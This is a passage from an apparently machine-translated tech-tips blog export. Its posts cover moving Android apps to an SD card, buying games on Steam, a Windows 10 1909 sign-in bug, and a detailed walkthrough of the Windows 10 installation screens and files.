return.\n  To see the internal memory and memory card you clicked ⋮ select Storage Info . External SD section is the data partition of the memory card, used to store files, music, movies. The SD Card 2nd Part part is the application partition, used to install the default application from now on.\n  4. Transfer the installed application to the SD card If you want to transfer some applications installed on the internal memory to the memory card, do the following. In this example, the Word application will be used.\nOpen the application manager on Android, find and click on Word\u0026gt; you will see the option Move to SD Card is grayed out and unusable, if you can use it, just like the first way.\n  Open Link2SD and scroll down to find and click Word.\n  Here you will see the memory capacity of Word used on the phone is 202.00MB and on the memory card is 0.00B. Click Link to SD Card , this option will transfer as many data in the 202MB to the memory card as possible. Remember not to click Move to SD Card, this option only supports applications that can be transferred to the memory card from within the original settings of the device.\n  Click OK to confirm application migration.\n  Wait a minute .\n  The Link to SD Card window will display the types of application files that can be transferred to the memory card, if the 3 heads are selected, click OK .\n  Wait a moment and click OK to finish.\n  Going back to the application screen you will see 189.54MB of Word that has been transferred to the SD memory card.\n  The image below for Notepad illustrates the application can be installed directly on the memory card.\n  If you want to move any application installed on the memory card to your phone's internal memory, simply open Link2SD\u0026gt; select application\u0026gt; in App info and click Remove Link and the application will be transferred to internal storage. .\nWhen you have installed, move the application to the memory card, you must leave the memory card in the device so it can work.\nThis process may sound complicated, but if your Android device has a limited memory it seems to be useful. As long as your SD memory card meets the requirements as stated in the Note section.\nI wish you all success.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWahnqjBorjLoqWgZZGjsbO7yJ1kmqigqHqwuoysm2abkaex\n","link":"/post/instructions-for-installing-android-apps-on-sd-card/","section":"post","tags":null,"title":"Instructions for installing Android apps on SD card"},{"body":"Steam is a platform that offers many different games in the world today. As for Steam, game makers are very reassured because players cannot bypass the rules and play pirated games. But years ago, Steam only supported payment by international card gateways. In recent years, Vietnam has used Steam a lot, so it also opened a number of domestic payment gateways for users. In this article, the Software Tips will guide how to buy games on Steam.\n  Download Steam here: https://store.steampowered.com/\nStep 1: You enter the name of the game you want to buy here and select it.\n  Step 2: Then you drag down and select Add to Cart to put in the basket.\n  Step 3: There will be two options for you:\nPurchase for myself: Buy yourself Purchase as a gift: Buy for you In this article we are buying for ourselves so choose Purchase for myself . If you buy it for you then you do the same.\n  Step 4: Then you need to select the card trading port. Click on Payment Methods to select.\n  Step 5: You proceed to select the type of card that you can pay. The system will then pay via Internet Banking like other transactions.\n  After payment is complete you can enter the game to play and use.\nThus, Software Tips have shown you how to buy games on the most standard Steam. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ec6nZKGnp2LBsHnBrrBmn5GisrR5zqdkrKyVlro%3D\n","link":"/post/instructions-on-how-to-buy-games-on-steam/","section":"post","tags":null,"title":"Instructions on how to buy games on Steam"},{"body":"When trying to proceed with the normal login process, users will see a message that says \"We ran into a problem. Reconnecting.\", and it is accompanied by a request to restart the program.\nIn addition, the bottom left corner of the screen will also display error code 80080300, as shown below.\n  According to the results of the initial investigation, this is an issue that stems from Windows 10 cumulative update 1909 KB5003169, which was released last week as part of the periodic May 2021 Patch Tuesday updates.\nMicrosoft has noted the problem and said that to fix this problem, users need to restart Windows 10 immediately after installing the update.\n'We received reports that some users running Windows Update KB 5003169 were unable to connect to Microsoft 365 clients on their PCs, which include Microsoft Teams, Outlook, and OneDrive for Business' , Microsoft explained in a recent post.\n\"As a result of our investigation, it has been determined that a code-related glitch that exists on the recently rolled out KB5003169 update is the cause of the problem.\"\nHowever, Microsoft also confirmed that only a small number of users are affected by this issue until they restart their Windows 10 system.\nIn the event that restarting Windows 10 does not resolve the issue, Microsoft recommends that users use the web versions of the Microsoft Teams, OneDrive for Business, and Outlook apps, while waiting for a fix to be fixed. launched.\nWindows 10 version 1909 has now entered the death phase. The updated support plan will only be maintained for users running on Enterprise and Education SKUs. Statistics show that about 11% of all PCs running Windows 10 are using version 1909, of which the majority are business users - who will be directly affected by the above issue. Therefore, the fix patch will definitely be released by Microsoft soon.\nwindows 10 1909 microsoft ncG1vNJzZmismaXArq3KnmWcp51kuaLAxKyrZq2gma61sYyfpqtlp567pbvWrGRqaF1mhnGFjKScnqijYsK0sdGsZJ%2Bqn6J6tLXGp6Cnn12eu27AzmakopuipMCwstNmam9tXZa9sb8%3D\n","link":"/post/latest-update-for-windows-10-1909-keeps-users-from-signing-in-to-microsoft-365-apps/","section":"post","tags":null,"title":"Latest update for Windows 10 1909 keeps users from signing in to Microsoft 365 apps"},{"body":"This is an in-depth analysis of the Windows 10 operating system installation in particular and all Windows installers in general.\nThe purpose of this article is to help you better understand the Windows operating system installation process. If you understand the installation process of Windows operating system, you will catch disease (if an error occurs during the installation process) simply.\n  + Process 1: Create a simple Windows installation USB On the blog, I have a lot of detailed instructions for you how to\u0026nbsp; create a win-win usb , for example\u0026nbsp; using Rufus software \u0026nbsp;for example. However, if you are trying to create a USB to install Windows 8, Windows 8.1 or Windows 10 . then you just need to Format USB with FAT32 format and then unzip the installer to USB that can be booted on both UEFI standards and LEGACY already.\nImplementation: \u0026nbsp;Right-click the USB =\u0026gt; select\u0026nbsp; Format\u0026nbsp;=\u0026gt; at the part\u0026nbsp; File system\u0026nbsp;you choose the format is\u0026nbsp; FAT32\u0026nbsp;=\u0026gt; click\u0026nbsp; Start\u0026nbsp;to start implementing\u0026nbsp; USB Format .\n  Now you need to extract the windows installer to USB\nOn Windows XP or Windows 7: You can use Winrar software to extract compression directly to USB. On Windows 8 and above: If you are working on a computer using Windows 8 or higher, you can\u0026nbsp; Mount the file to the virtual drive \u0026nbsp;by right-clicking the installer (format * .iso) = \u0026gt; select\u0026nbsp; Open With\u0026nbsp;=\u0026gt; select\u0026nbsp; Windows Explorer\u0026nbsp;=\u0026gt; then copy all files / folders in the virtual drive to the USB and you're done.   These are the files in the virtual drive that you just mounted.\n  In this article we will analyze through the installer for UEFI BOOT system. But first, if you want to boot this standard, you should first\u0026nbsp; set up BIOS in UEFI standard \u0026nbsp;.\n  Process 2: Analyze the Boot process If you choose USB UEFI, Windows will by default load boot from the file\u0026nbsp; bootx64.efi\u0026nbsp;in the boot folder\u0026nbsp; \u0026nbsp;of the efi folder\u0026nbsp; \u0026nbsp;found on USB BOOT. Conversely, if you choose to boot from USB LEGACY, Windows will load from the file\u0026nbsp; bootmgr\u0026nbsp;on the USB BOOT. Note: \u0026nbsp;For new installers such as Windows 8, 8.1 or Windows 10, MS has integrated the folder\u0026nbsp; efi\u0026nbsp;into the 32-bit Windows installer, so for USB containing this installer, you can still boot. UEFI standard through bootia32.efi file.\n  After loading the boot file, Windows will boot into Win Pi through the file\u0026nbsp; boot.wim\u0026nbsp;(located in the sources directory\u0026nbsp; ) of the usb.\n  This file is configured based on the file\u0026nbsp; bcd\u0026nbsp;in two boot directories:\nUSB boot folder. And the boot directory in the directory\u0026nbsp; efi\u0026nbsp;(efimicrosoftboot)   USB boot folder\nAnd .\n  Boot directory in the EFI directory\nLearn more about the structure of a bcd file To learn more about how the BCD file is configured, we will use\u0026nbsp; the BootICE tool \u0026nbsp;to open this file, you will know how it is set up as shown below, I will open at the same time. 2 BCD files in 2 different places.\n    Observing the 2 pictures above, we can see that both files\u0026nbsp; bcd\u0026nbsp;have in common that is configured to take physical memory\u0026nbsp; RAM \u0026nbsp;as storage place\u0026nbsp; boot.wim\u0026nbsp;after mounting. And the file\u0026nbsp; boot.sdi\u0026nbsp;is its boot interface, this file is located in the directory\u0026nbsp; boot\u0026nbsp;of the usb.\nProcess 3: Analysis of the Windows installation interface When the load is complete,\u0026nbsp; boot.wim\u0026nbsp;the screen with the first boot logo appears with a circle of dots. This is called\u0026nbsp; boot flags.\n  About Logo:\nBecause we are installing on a standard UEFI Boot system, there will be 2 cases that happen now:\nThe appearance of the company's Logo (for example, the logo of DELL or the Logo of HP company) means that the BIOS of the computer is integrated\u0026nbsp; boot flags. Conversely, if it is still the Windows Logo, it means that the computer's BIOS does not or has not integrated boot flags If you install on a standard Legacy Boot system, the default will be the Windows Logo.\n=\u0026gt; After loading the boot interface, the next screen appears and select the language to install as shown below.\n* The first interface of the Windows Setup screen (screen 1)\n  Looking at the image above, you can see that the current installation language is English. This language is obtained from file\u0026nbsp; lang.ini\u0026nbsp;in the directory\u0026nbsp; sources\u0026nbsp;of the mounted partition\u0026nbsp; boot.wim\u0026nbsp;and in the directory\u0026nbsp; sources\u0026nbsp;of the USB.\n  The background color, dark green, is called from the image file\u0026nbsp; background.bmp\u0026nbsp;in the sources directory\u0026nbsp; \u0026nbsp;of the mounted partition\u0026nbsp; boot.wim\u0026nbsp;and in the sources\u0026nbsp;USB directory\u0026nbsp; .\nThe image file is background_cli.bmp\n  The language picker will get the interface from the file\u0026nbsp; spwizimg.dll\u0026nbsp;in the directory\u0026nbsp; sources\u0026nbsp;of the mounted partition\u0026nbsp; boot.wim\u0026nbsp;and in the directory\u0026nbsp; sources\u0026nbsp;of the USB\nNote: \u0026nbsp;You can download the R esource Hacker tool \u0026nbsp;to open the file\u0026nbsp; spwizimg.dll\u0026nbsp;=\u0026gt; you will see the interface located in the section\u0026nbsp; Bitmap.\n  The text in the frame is taken from the files\u0026nbsp; arunres.dll.mui, setuperror.exe.mui, spwizres.dll.mui, W32UIRes.dll.mui \u0026nbsp;in the\u0026nbsp; en-us \u0026nbsp;directory of the sources directory\u0026nbsp; \u0026nbsp;on the mounted partition\u0026nbsp; boot.wim\u0026nbsp;and in sources\u0026nbsp;USB folder\u0026nbsp; .\n  * Next screen interface (monitor 2).\nOkey, After setting up the first interface, press Next\u0026nbsp;to go\u0026nbsp; to the next screen. The next screen will have the interface as shown below.\nWhy is Microsoft leaving this screen? At this step, many of you will think it is useless, why after the first setup screen MS did not design so that after clicking Next we go to the installation section? Yes ! The reason is:\nAt this screen in addition to the Windows installation function, Microsoft also integrates the repair function,\u0026nbsp; Repair your computer …. This is a very nice feature, if you have installed the operating system instead of ghost, you can use the Repair feature to fix Windows errors instead of having to\u0026nbsp; reinstall Windows which \u0026nbsp;takes a lot of time.\n  In addition, when you click on Repair your computer\u0026nbsp;it , you\u0026nbsp; can also use a number of additional features as shown below.\nAt this screen, you will have 2 options to either continue repairing Windows errors (\u0026nbsp; Troubleshoot\u0026nbsp;) or shutdown (\u0026nbsp; Turn off your PC\u0026nbsp;).\nNote: \u0026nbsp;Here, you only have 2 options, but there is no option to go back to the main installation screen when you click and choose\u0026nbsp; Repair your computer \u0026nbsp;.\n  If you click on the option\u0026nbsp; Troubleshoot\u0026nbsp;, then the window\u0026nbsp; Advanced options\u0026nbsp;will appear with 5 extremely useful features for troubleshooting assistance.\n  If you cannot find the tool you want to use here, you can click the arrow (top, left) to go back to =\u0026gt; then choose\u0026nbsp; Turn off your PC\u0026nbsp;to shut down the computer and now restart boot from\u0026nbsp; USB BOOT \u0026nbsp;and reinstall from scratch.\nAnother interesting thing that many of you may not know is that starting from the Install Now selection screen to the next selection screens, you can open the cmd window to use at any time through the nest. key combination\u0026nbsp; Shift + F10.\nAs I said at the beginning, in the file\u0026nbsp; boot.wim\u0026nbsp;it is Windows PE, so if you want to view or check the file\u0026nbsp; boot.wim\u0026nbsp;with the command in cmd, you do the following:\nImplementation: \u0026nbsp;Click\u0026nbsp; Shift + F10\u0026nbsp;to open the window\u0026nbsp; cmd\u0026nbsp;=\u0026gt; next type\u0026nbsp; notepad\u0026nbsp;and press\u0026nbsp; Enter\u0026nbsp;=\u0026gt; Notepad tool appears, now press the key combination\u0026nbsp; Ctrl+O\u0026nbsp;=\u0026gt; open\u0026nbsp; File Explorer\u0026nbsp;you will see the\u0026nbsp; X\u0026nbsp;main drive is the drive containing the boot.wim file\u0026nbsp; .\nNote:X \u0026nbsp;This \u0026nbsp;drive\u0026nbsp; is taken from Ram memory and does not use the HDD or SSD, this drive has the default letter X.\n  You can check or view additional files and folders on X\u0026nbsp;this drive\u0026nbsp; .\n  * Screen 3\nAfter you click \u0026nbsp; Install now \u0026nbsp;(\u0026nbsp; Screen number 2) =\u0026gt;, the Windows installation process will continue with the words\u0026nbsp; Setup is starting\u0026nbsp;- setup notification is beginning.\n  The dark blue (backgroud) background image above is taken from the image in the file\u0026nbsp; spwizimg.dll\u0026nbsp;in the sources directory of the mounted boot.wim partition\u0026nbsp; \u0026nbsp;and in the \u0026nbsp;USB sources directory as well\u0026nbsp; .\nThere is also an image file\u0026nbsp; setup.bmp\u0026nbsp;in the directory\u0026nbsp; system32\u0026nbsp;of the mounted partition boot.wim.\n  * Screen number 4\nNow Windows will check the image mount file\u0026nbsp; install.wim\u0026nbsp;(or install.esd) in the sources directory of the USB BOOT to see if it is available?\nIf yes, Windows will check which version of Windows it is? using 32 or 64 bit Windows platform\u0026nbsp; \u0026nbsp;? What is the operating system version (Edition)? After determining Windows will search in the sources directory\u0026nbsp; \u0026nbsp;of the USB to see if there are files\u0026nbsp; EI.CFG\u0026nbsp;or\u0026nbsp; PID.txt\u0026nbsp;not. If there is not one of the two files above, you must enter the installation key in the screen below.\n  This screen only appears on the Home, Pro or Single Language versions, these are 3 retail versions, usually without the built-in file,\u0026nbsp; EI.CFG\u0026nbsp;but must enter the version key before going to the next screen.\nHowever, unlike the Windows 8 or 8.1 installer, with the Windows 10 installer, users will have the option to\u0026nbsp; I dont't have a product key\u0026nbsp;quickly switch to the next screen without having to enter a key, but there are still a few sets. The installation cannot skip the step entering this setup key.\nThis bypass method applies to 3 versions Home, Pro, Single Language\nThis is a pretty cool trick for those interested in rebuilding the Winodws installer. If you want to skip the step of entering the installation key, in the \u0026nbsp;USB sources directory\u0026nbsp; there must be one of the two files\u0026nbsp; EI.CFG\u0026nbsp;or\u0026nbsp; PID.txt. The content in these two files is as follows:\nEI.CFG\n[EditionID]\u0026nbsp; {Edition ID} [Channel]\u0026nbsp; {Channel Type} [VL]\u0026nbsp; {Volume License} PID.txt\n[PID] Value = XXXXX-XXXXX-XXXXX-XXXXX-XXXXX =\u0026gt; So looking at the above content, what we need to do is:\nIdentify Edition ID. Channel VL, Retail and OEM. In the Volume License you set the value to 0 (if the Retail version, OEM version) or 1 (if the VL version). The setting key consists of 25 alphanumeric characters and letters. Home, Pro, and Single Language versions have Edition ID respectively:\nEdition ID: Core: Home Professional: Pro CoreSingleLanguage: Windows 10 Home Single Language\n+ If the integrated installer includes two versions of Pro and Home, we can leave the part blank\u0026nbsp; {Edition ID}, the part\u0026nbsp; {Channel Type}\u0026nbsp;you write as\u0026nbsp; Retail \u0026nbsp;and in the\u0026nbsp; {Volume License}\u0026nbsp;set it is the value\u0026nbsp; 0 \u0026nbsp;. As follows:\n[EditionID] [Channel] Retail [VL] 0 =\u0026gt; When you leave the section blank\u0026nbsp; {Edition ID}\u0026nbsp;, the installation version selection screen will appear as shown below.\n  Likewise, the\u0026nbsp; Home Single Language version \u0026nbsp;is the same if you leave it blank, the\u0026nbsp; {Edition ID}\u0026nbsp;screen will appear as above.\nAssuming you want to ignore this screen and choose the installed version, then the\u0026nbsp; EI.CFG \u0026nbsp;content\u0026nbsp; {Edition ID}\u0026nbsp;you add the Edition ID of the version to the Pro version, for example, its content is:\n[EditionID] Professional [Channel] Retail [VL] 0 Or use the PID.txt file if you do not like to use the EI.CFG file.\n[PID] Value = VK7JG-NPHTM-C97JM-9MPGT-3V66T * Screen number 5\nOnce you have selected the version you want to install, you will now be taken to a screen containing the Microsoft terms of use.\nAfter you have finished reading and agree with the terms they require, please tick the line\u0026nbsp; I eccept the license terms\u0026nbsp;=\u0026gt; at this time the Next\u0026nbsp;new word\u0026nbsp; will light up to give you the option to continue.\n  * Screen number 6\nHere you will have 2 choices that are to upgrade to overwrite the old version of Windows available on the computer. With this option you can keep personal files, previous settings and applications and software installed on the computer before. The second option is a custom install ( Custom) and we usually still use this option if we decide to reinstall Win. Because choosing Upgade will often crash during the installation process.   * Screen number 7\nIf you choose\u0026nbsp; Custom\u0026nbsp;in the above section, Windows will now switch to the hard drive partition selection interface to install Windows and this is the most common part of the Windows installation process. Some of the most common errors that users encounter that I have instructed how to fix them:\n  At this screen, the system will check information of the hard drive in the computer, including information such as:\nThe hard drive that you are installing Win is the HDD or SSD. What is the ID of the hard drive, Sata or IDE. If SATA, which SATA? SATA1 (referred to as SATA), SATA2 or SATA3. Whether the hard drive on\u0026nbsp; the computer has a Bad sector or not \u0026nbsp;(for the HDD), or is there something wrong (for\u0026nbsp; an SSD ). In addition, it checks whether the current hard drive structure is\u0026nbsp; MBR or GPT .\nIn case, if the computer does not see the hard drive, the screen will not appear the hard drive as well as the installation partition. And according to the rule of the drive selected to install is always\u0026nbsp; 0\u0026nbsp;(disk 0) and it ranks on the top according to the list of partitions in case the computer is mounted with two or more hard drives.\nWhen you choose to boot from\u0026nbsp; usb uefi \u0026nbsp;, Windows has checked your computer's BIOS, which includes manufacturer information, what version is the current BIOS version? update day ? and bootable firmware… .and when installing Windows will check the structure of the hard drive for GPT or not.\nThe principle that you need to know is:\nWhen installing a LEGACY-compliant computer, the hard drive structure must be MBR. Conversely, if you want to install a UEFI computer, you must convert the hard drive to GPT format. If the free hard drive is not formatted with a partition, it is MBR by default. To check exactly what the hard drive is having at the above screen, press the key combination\u0026nbsp; Shift + F10\u0026nbsp;to open the window\u0026nbsp; cmd\u0026nbsp;=\u0026gt; use\u0026nbsp; diskpart\u0026nbsp;=\u0026gt; continue to enter the command\u0026nbsp; list disk \u0026nbsp;check, if there is no sign\u0026nbsp; *\u0026nbsp;in the GPT line then that means your hard drive is structured\u0026nbsp; MBR\u0026nbsp;.\n  You can look at the interface of the figure below (Figure 1) whose functions include:\nRefresh: Refresh the \u0026nbsp;screen. Delete: \u0026nbsp;Perform 1 partition deletion. Format: \u0026nbsp;Format a partition, but you cannot choose to format either NTFS or FAT32. This means that before the hard drive partition was formatted, after formatting it, it will have the same format. New: \u0026nbsp;Creates a new hard drive partition from the hard drive or from an empty Unallocated Space partition. Load drive: \u0026nbsp;Open the driver manager of the drive in case the drive does not appear on the screen. Extend: Extend \u0026nbsp;the hard drive partition. During the Windows installation process you can use these function buttons before clicking Next to begin the installation.\nThe rules for installing Windows on a drive are composed of primary partitions, and they are arranged from top to bottom. Windows partitions are always first, meaning it will be above the partitions that store data.\n  LEGACY boot standard system - hard drive with MBR structure System Reserved: \u0026nbsp;This partition has NTFS format, 500 MB of space containing the\u0026nbsp; BCD\u0026nbsp;boot files and files\u0026nbsp;winre.wim Windows: \u0026nbsp;NTFS format and the partition that stores the system files. UEFI boot standard system - hard drive with GPT structure Recovery: \u0026nbsp;\u0026nbsp;The partition is NTFS format, 450 MB in size and this partition will save the winre.wim file System: \u0026nbsp;Available in EFI format, 100 MB in size, but with a 4Kn format drive, its size will be 260 MB and this partition will save the BCD file. MSR (Reserved): \u0026nbsp;This partition has no format and its size is 16 MB. Windows: \u0026nbsp;Format NTFS and this is the partition that will save the Windows system files. When installing Windows, we will have 2 cases that are: Install Windows for a brand new hard drive and install Windows on a pre-partitioned computer, that is, your computer is already in use.\n+ Case 1: For a brand new hard drive, there is no data yet. If your hard drive is empty unformatted ( Unallocated) but you leave it and click\u0026nbsp; Next\u0026nbsp;, Windows will base on Firmware boot =\u0026gt; it will divide the system partition for you (partitions If you click\u0026nbsp; New\u0026nbsp;to create a new partition, you must click add line\u0026nbsp; Apply\u0026nbsp;and click\u0026nbsp; OK\u0026nbsp;confirm in the dialog box\n  + Case 2: If the hard drive already has data, and is already pre-partitioned. In this case, you have already installed Windows before, now you want to reinstall, just use the feature\u0026nbsp; Delete\u0026nbsp;or\u0026nbsp; Format\u0026nbsp;for the partition that you want to install Win on.\nThe best thing is that you should base on the rule that I mentioned above, that is, click\u0026nbsp; delete\u0026nbsp;to delete the old Windows partition (delete partitions =\u0026gt; The purpose of this operation is to let them merge into an empty unformatted partition ( Unallocated), then click New to format that partition or click\u0026nbsp; Next\u0026nbsp;to install it. Encourage you to just leave the partition to install Win in the format\u0026nbsp; Unallocated\u0026nbsp;and click\u0026nbsp; Next\u0026nbsp;, because it will be less error prone.\n  Okey, so if during the installation process you get an error and there is an error message, you know what it is, but there is a solution right. Follow Microsoft's pre-programmed rules when you install Windows on the drive.\n* Screen number 8\nIf there is no problem, please press\u0026nbsp; Next\u0026nbsp;to continue.\n  Yes ! This is the screen we have to wait the longest during the Windows installation process. At this screen, the system will have to go through 5 main processes as follows:\n+ Copy Windows file : This step will copy all necessary data in the folder\u0026nbsp; sources\u0026nbsp;of Windows PE partition, or from your Windows installation USB =\u0026gt; to clipboard.\n+ Getting files ready for installation : This step will perform the decompression of the mount image file\u0026nbsp; install.wim\u0026nbsp;in the sources folder of the USB install win =\u0026gt; into the Windows partition. This process is the longest and it depends on the number of rounds of the drive. If you install it on the 7200 Prm, SATA3 600Mb / s drive you will see a marked difference because the installation is very fast, the slowest is the drive. The IDE then goes to SATA, SATA2 and SATA3.\nYou should know one thing is that up to this step can still get the error as usual and of course you can not continue the installation process, it is due to an error from the file\u0026nbsp; install.wim\u0026nbsp;or when Windows install detects the drive or There is a problem with the usb port when Windows cannot get the data from the install.wim file.\nInstalling features : Install the following features after applying the image to the Windows partition\n+ Installing updates : This step will install the updates already integrated into the file\u0026nbsp; install.wim. If your Windows installer is integrated with more updates, the installation process takes longer because when you integrate offline, it stays in the standby state without being installed and integrates completely into the WinSxS folder in the folder. Windows system partition\n+ Finishing up : Complete, in this process will include 2 steps to integrate Boot into a partition\u0026nbsp; System Reserved\u0026nbsp;(Legacy) or\u0026nbsp; System\u0026nbsp;(EFI). In addition, it also creates a folder named\u0026nbsp; WindowsRE\u0026nbsp;in the System Reserved partition. It then copies the files\u0026nbsp; winre.wim\u0026nbsp;in\u0026nbsp; Recovery\u0026nbsp;the\u0026nbsp; System32 \u0026nbsp;directory in the Windows directory of the system partition to the WindowsRE directory.\nIn case with UEFI system, Windows will create a new folder named\u0026nbsp; Recovery\u0026nbsp;in the Reovery partition and in the folder\u0026nbsp; Recovery Windows\u0026nbsp;create a folder named WindowsRE and copy winre.wim into it. After copying Windows will activate winre.wim before completing it will restart the computer for the installation to continue.\nOne interesting thing that you should know is why during the installation of Windows, the computer screen is bright and not dark? The explanation for the above phenomenon is that when you start the installation, Windows will conduct a direct check on the power source and the status of the battery's power consumption (for the Laptop) and Windows will always set the screen. The computer with the highest brightness, power mode is always selected as High Perfomance. Therefore you must always keep a stable power source if Windows checks if you are not using direct power Windows will warn and may not continue installation if you see the state of battery drain is not enough to complete the process. Setting. So when installing you should keep the power source directly and maintain stability during the installation process.\n* Screen number 9\nBefore restarting the computer, the screen will appear a message before the computer will restart within 10 seconds and when restarted, the next screen will appear and this screen is no longer in use. to your installation USB again because it has copied all the necessary files to the Windows partition. Therefore, at this step you can remove the USB from the computer and still install as normal.\n  At this step, we also have to wait quite a long time, for the following reasons:\nThis step will take the device information on the computer such as VGA card information, network card, usb connection port, . in Device Manager Once it has obtained the information of the above device, it will install driver for that device.\u0026nbsp; The driver \u0026nbsp;will be taken from the DriveStore folder\u0026nbsp; present \u0026nbsp;in the system folder System32\u0026nbsp;on the system\u0026nbsp; partition. That is why when you have finished installing Windows 8 / 8.1 or on Windows 10, your computer already has quite a few drivers. Your computer always has the network driver installed, the driver of usb 3.0 is completely automatic because it is built into the folder\u0026nbsp; DriveStore\u0026nbsp;and when installing Windows will check the compatibility of the driver with the device in the computer that install properly. unify. Search for pre-programmed files, for example autoresponder files\u0026nbsp; Unattend.xml\u0026nbsp;in\u0026nbsp; Panther\u0026nbsp;the Windows folder, files\u0026nbsp; SetupComplete.bat\u0026nbsp;in folders\u0026nbsp; Scripts\u0026nbsp;located in folders\u0026nbsp; Setup\u0026nbsp;in Windows folders Update Registry Editor. Look for the folder\u0026nbsp; oobe\u0026nbsp;in the system folder\u0026nbsp; system32\u0026nbsp;and based on that reboot the machine starts on to the next screen. At this screen, if the computer encounters an error that makes Windows unable to continue the installation, it is very likely that you have installed an installer that has been rebuilt by someone incorrectly. If you use\u0026nbsp; the original installer from Microsoft \u0026nbsp;, the error is very rare, if there is, it is because OEM computers have limited version of Windows, and it does not accept that version. For example, if they have a computer pre-set, you have to install the Single Language version, but you install it in the Pro version, the computer screen will stand still forever. Or it could be that the CPU is not compatible, for example that cpu can only install 32 bit platforms, but you install 64 bit still standing at this screen .\n* Screen number 10\nIf Windows has finished installing the screen above without experiencing any errors, the installation is about to be completed, there are only a few steps to set up the account to use. All subsequent steps are set up from the directory\u0026nbsp; oobe. Windows will boot into the Get going fast\u0026nbsp;first screen,\u0026nbsp; it is also known as oobe screen\u0026nbsp; , if installed on a PC using a wired network, if installed on a Laptop with wireless connection, Windows will boot into the screen to select the network connection? wire for your choice.\n  Its background color always defaults to green as shown above, note that it does not use the image, but uses the color-coded background color in the file\u0026nbsp; FirstLogonAnim.html\u0026nbsp;in oobe directory\u0026nbsp; , and the text is hidden. from file\u0026nbsp; msoobedui.dll.mui\u0026nbsp;in the directory's\u0026nbsp; en-US \u0026nbsp;directory\u0026nbsp; oobe.\nTips: \u0026nbsp;If it is not the screen\u0026nbsp; Get going fast\u0026nbsp;but the time selection screen below appears, the win version will definitely be rebuilt because by default when you install the original win in Windows PE you have chosen the installation language, the default time zone is\u0026nbsp; Pacific Time\u0026nbsp;(US \u0026amp; Canada) so it will not have the screen below.\n  * Screen number 11\nMonitor\u0026nbsp; Get going fast, this is the monitor regarding the personalization of Windows on your computer. Windows is allowed to access apps or your account information by default, Windows always switches to it,\u0026nbsp; On\u0026nbsp;and if on screen 10 you choose the installation type,\u0026nbsp; Customize\u0026nbsp;you can switch it to\u0026nbsp; Off\u0026nbsp;if you want.\n  Conversely, if you choose\u0026nbsp; Use Express settings\u0026nbsp;it means you use the quick setup by default. But I encourage you to use the option\u0026nbsp; Customize\u0026nbsp;to set it up for you. In addition, to this screen, you can also use 2 keyboard shortcuts that are:\nShift + F10 : Open a window\u0026nbsp; cmd\u0026nbsp;to use the commands you need. Ctrl + Shift + F3 : Restart the computer to boot into Audit mode, not have to set up the account and rebuild the installer. If you choose the mode\u0026nbsp; Use Express settings\u0026nbsp;, at the next screen will appear the standby screen with dots rotating before moving to the next setting screen.\n  * Screen number 12\nIf you chose to connect to the network, then there\u0026nbsp; Screen number 12\u0026nbsp;will be an option to sign in with your organization or you can sign in with\u0026nbsp; a Microsoft account .\nNote: \u0026nbsp;This screen is only available in Pro, Home and Single Language retail versions for individual users only. If you have Enterprise or Education installed, there's no option to sign in with a Microsoft account, only to sign in with an account in your organization or create and sign in with a Local account. stop it.\n  * Screen number 13 - Associated with Microsoft account\nOn the screen above if you choose\u0026nbsp; My work or school owners it\u0026nbsp;to use an account provided by your organization or school. If you choose\u0026nbsp; I own it\u0026nbsp;, use your personal Microsoft account to sign in.\nIf you already have a Microsoft account, enter your email address and password to log in now, but if you do not have one, you can create a new account by clicking the button\u0026nbsp; Create one.\n  * Screen No. 14 - Create a Local account if you are not affiliated with a Microsoft account\nIn case you do not have a Microsoft account, or simply the computer does not have an internet connection, you can set up using the account\u0026nbsp; Local\u0026nbsp;=\u0026gt; click the button to\u0026nbsp; Skip this step\u0026nbsp;skip the login step and go to the account creation screen.\u0026nbsp; Local\nNote: \u0026nbsp;After installing Win, you can link with your Microsoft account later.\n  If you create a Local account, you just need to enter any name to create a new one, but I note to you that it is not the same name as the default account in Windows such as\u0026nbsp; Administrator, Defaultuser0, Guest \u0026nbsp;. If you do not want to use the password please leave it blank and press\u0026nbsp; Next\u0026nbsp;to continue.\n=\u0026gt; In short, on this screen there is only one requirement that you create a new account and not be the same name as the default account, that's all.\n* Screen number 15\nOnce you've created and signed in to your account, the next screen will allow you\u0026nbsp; to use Cortana . Note to you one thing is that Education or Enterprise LTBS version will not have this screen, so you do not need to wonder.\n  At this screen you will have 2 options that are:\nNot now: \u0026nbsp;Temporarily out of use and will re-enable once the desktop is reached. Use Cortana: \u0026nbsp;Activate! This means that the default Cortana will not be activated and will be set up as soon as you sign in to your new account. You can choose to activate immediately or temporarily deactivate. When you use either option, the Microsoft welcome screens will eventually appear * Display number 16\nThese are the welcome, introductory, or simply Microsoft promo screens that include the process of downloading and installing recommended apps as well.\nThe text that appears on the screen is taken from the file\u0026nbsp; msoobeFirstLogonAnim.dll.mui\u0026nbsp;in the folder\u0026nbsp; en-US\u0026nbsp;'s directory\u0026nbsp; oobe. When you get to this screen you have to wait a while and do nothing to wait until you reach the main screen.\n  * Screen number 17\nYes ! finally coming to the Windows 10 Desktop.\n  Conclude\nWell, through an in-depth analysis of the Windows 10 installation process, I believe you have expanded your knowledge quite a lot, right! Hope the article will be useful to you, wish you success!\nWindows installation ncG1vNJzZmismaXArq3KnmWcp51kuaat0adkraCVYsSqusOorqxlYWV6qrrSrZilpJGptrC6jKmpqJuVqMA%3D\n","link":"/post/learn-the-windows-10-installation-process/","section":"post","tags":null,"title":"Learn the Windows 10 installation process"},{"body":"Microsoft has just officially announced that the hit game Asphalt 9: Legends is now available to download for free on Xbox One, Xbox Series X|S and Windows 10 platforms. Also, anyone who downloads it. Games during this time period will also receive the added bonus of a Porsche 911 GTS Coupe with a rather unique Xbox branding-inspired paint job.\nIf you are looking for an entertaining, fast-paced action game, and especially love supercars, Asphalt 9: Legends will definitely not disappoint you. Since its official launch in 2018, Gameloft's pet game has won countless prestigious awards, and above all, is well received by the player community.\n  Talking about why this game has received so much love from the community, Mr. Guillaume Da Costa Vieira, Senior Product Marketing Manager of Asphalt 9: Legends, said:\n'It can be said that one of the most important aspects that make the game attractive lies in the huge collection of supercars that are prototyped in real life. We are talking about 140 of the highest speed machines in the world, handpicked from legendary manufacturers like Ferrari, Bugatti and Porsche. The idea that Asphalt 9 is aiming for is that everyone can get behind the wheel of a dream car and experience it in the most realistic way through the screen. Besides, players can also customize their supercars according to a multitude of different ideas depending on personal preferences. Asphalt 9: Legends includes both individual and 